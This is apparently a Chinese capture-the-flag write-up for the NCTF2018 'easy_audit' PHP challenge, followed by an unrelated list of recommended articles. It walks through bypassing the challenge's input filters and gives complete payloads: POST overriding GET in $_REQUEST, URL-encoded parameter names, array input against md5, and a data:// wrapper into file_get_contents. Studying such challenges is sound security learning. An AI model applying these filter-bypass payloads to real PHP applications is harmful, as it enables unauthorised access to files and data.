easy_audit

题目源码

<?php
highlight_file(__FILE__);
error_reporting(0);
if($_REQUEST){
foreach ($_REQUEST as $key => $value) {
if(preg_match('/[a-zA-Z]/i', $value)) die('waf..');
}
} if($_SERVER){
if(preg_match('/yulige|flag|nctf/i', $_SERVER['QUERY_STRING'])) die('waf..');
} if(isset($_GET['yulige'])){
if(!(substr($_GET['yulige'], 32) === md5($_GET['yulige']))){ //日爆md5!!!!!!
die('waf..');
}else{
if(preg_match('/nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun'){
$getflag = file_get_contents($_GET['flag']);
}
if(isset($getflag) && $getflag === 'ccc_liubi'){
include 'flag.php';
echo $flag;
}else die('waf..');
}
}  

修改下,更加适合本地调试

<?php
highlight_file(__FILE__);
error_reporting(0);
if($_REQUEST){
foreach ($_REQUEST as $key => $value) {
if(preg_match('/[a-zA-Z]/i', $value)) die('111111');
}
} if($_SERVER){
if(preg_match('/yulige|flag|nctf/i', $_SERVER['QUERY_STRING'])) die('2222222');
} if(isset($_GET['yulige'])){
if(!(substr($_GET['yulige'], 32) === md5($_GET['yulige']))){ //日爆md5!!!!!!
die('33333333');
}else{
if(preg_match('/nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun'){
$getflag = file_get_contents($_GET['flag']);
}else die('55555555');
if(isset($getflag) && $getflag === 'ccc_liubi'){
include 'flag.php';
echo $flag;
}else die('4444444');
}
} ?>
来自:https://blog.csdn.net/perfect0066/article/details/84663657  

第一层

$_REQUEST 变量虽然说是包含 $_GET,$_POST,$_COOKIE 这些,但实际上却存在一个覆盖的问题,就是当 get 和 post 中有一个同名变量 data 时,在 request变量数组 中只会有一个名为 data 的变量,并且获取的是 post 的值。通过这样的覆盖,从而绕过对 get 变量的值的过滤。

这里不能用数组绕过,因为下面需要获得值,这里我可以利用$_REQUEST的变量覆盖,用post覆盖get的同名变量,达到绕过。

第二层

$_SERVER['QUERY_STRING'] 这里的bypass,这个点应该是比较常见的了,$_SERVER['QUERY_STRING'] 获取的值是未经urldecode的,所以直接编码一下就好了

$_SERVER['QUERY_STRING']

这个全局变量中的QUERY_STRING是获取url中?后面的部分

http://localhost/aaa/index.php?p=222&q=333
结果:
$_SERVER['QUERY_STRING'] = "p=222&q=333";
$_SERVER['REQUEST_URI'] = "/aaa/index.php?p=222&q=333";
$_SERVER['SCRIPT_NAME'] = "/aaa/index.php";
$_SERVER['PHP_SELF'] = "/aaa/index.php";

我们把url编码下n为%6E,对于如下

第三层

数组这里,fuzz一下,很容易发现数组是可绕的(参见同类型的漏洞也容易想到)

这里的话涉及php md5相关问题,md5函数无法处理数组,直接传入空数组,截取字符串为空,md5函数处理后也为空,因此相等绕过。

第四层

file_get_contents 这里要用伪协议其实很容易想到,但很多人似乎就想着用 php://input ,这里因为要去覆盖 $_REQUEST ,所以假如是用 post 去覆盖的话,就不能用php://input 了。最简单的,用 data:// 协议就好了。

这里就像github上写的一样,可以用php://input来读取,但是因为需要用post覆盖get绕过第一层,所以无法在post上动手。但是可以用伪协议data://读取想要的字符串

preg_match('/nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun' 这个点,可能做起来的时候会觉得很奇怪,这里有什么好绕的?实际上,是因为出题人又双叒叕写错正则了。本来是想写 preg_match('/^nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun',然后让去看后面那个 $ 符的。。。

本来应该再多一层的,我自己本地尝试绕过,发现无法绕过。本来想通过换行是否可以,但发现不行。有知道的师傅,麻烦点拨一下。

完整payload

get:

?yulige[]=&nctf=Nnctfisfun&flag=data://text/plain;charset=unicode,ccc_liubi
或者
?%79ulige[]=&nct%66=Nnct%66isfun&%66lag=data://text/plain;base64,Y2NjX2xpdWJp
或者
?%79ulige[]=&nct%66=Nnct%66isfun&%66lag=data://text/plain,ccc_liubi

post:

nctf=123&flag=1

学习文章:

https://blog.csdn.net/perfect0066/article/details/84663657

https://github.com/NJUPT-coding-gay/NCTF2018/blob/master/Web/Easy_Audit/WriteUp.md

https://www.sqlsec.com/2018/11/nctf2018.html#toc-heading-5

  

随机推荐

  1. Java基础语法(6)-注释

    title: Java基础语法(6)-注释 blog: CSDN data: Java学习路线及视频 用于注解说明解释程序的文字就是注释. 提高了代码的阅读性:调试程序的重要方法. 注释是一个程序员必 ...

  2. HTML5调用笔记本或手机摄像头

    网上找了些文章测试了下,到现在为止还是很多浏览器不支持,所以也没有什么实用价值啊. 以下代码在笔记本电脑浏览器chrome25,irefox19上测试通过(FF需要在地址栏输入about:config ...

  3. effective-java学习笔记---优先使用泛型方法30

    泛型类型比需要在客户端代码中强制转换的类型更安全,更易于使用. 当你设计新的类型时,确保它们可以在没有这种强制转换的情况下使用. 这通常意味着使类型泛型化. 如果你有任何现有的类型,应该是泛型的但实际 ...

  4. OpenCV-Python 轮廓特征 | 二十二

    目标 在本文中,我们将学习 如何找到轮廓的不同特征,例如面积,周长,质心,边界框等. 您将看到大量与轮廓有关的功能. 1. 特征矩 特征矩可以帮助您计算一些特征,例如物体的质心,物体的面积等.请查看特 ...

  5. 最新SCI影响因子发布!Nature屠榜,AI领域Top 1000期刊盘点

    [导读]2018年度SCI期刊影响因子最新发布,Nature.Science.Cell三大神刊排名前列.新智元摘取其中有关人工智能.机器学习.计算机视觉.机器人学等领域的期刊并做简要介绍,希望对读者选 ...

  6. PTA-7-20 表达式转换(中缀转后缀,带括号,负数,小数转换)

    本题考点:中缀表达式转后缀表达式. 难点: 带有小数的数字 数字可能带有正负号 题目描述: 算术表达式有前缀表示法.中缀表示法和后缀表示法等形式.日常使用的算术表达式是采用中缀表示法,即二元运算符位于 ...

  7. EF多租户实例:快速实现分库分表

    前言 来到这篇随笔,我们继续演示如何实现EF多租户. 今天主要是演示多租户下的变形,为下图所示 实施 项目结构 这次我们的示例项目进行了精简,仅有一个API项目,直接包含所有代码. 其中Control ...

  8. 面试:给我说说你平时是如何优化MySQL的?

    面试:给我说说你平时是如何优化MySQL的? 1.explain 在MySQL优化的时候.我们使用最多的是explain查看 SQL 的执行计划 类型 解释 type 连接类型.一个好的SQL语句至少 ...

  9. Android进阶AIDL使用自定义类型

    原文首发于微信公众号:jzman-blog,欢迎关注交流! 上篇文章中主要介绍从 AIDL 的使用方式以及 Android 开发中不同进程之间的通信,遗留的问题是如何在 AIDL 中使用自定义类型,具 ...

  10. My背包九讲——概述

    文章目录 什么是背包问题 背包问题的分类 [第一讲 01背包问题](https://blog.csdn.net/qq_34261446/article/details/103705068) 第二讲 完 ...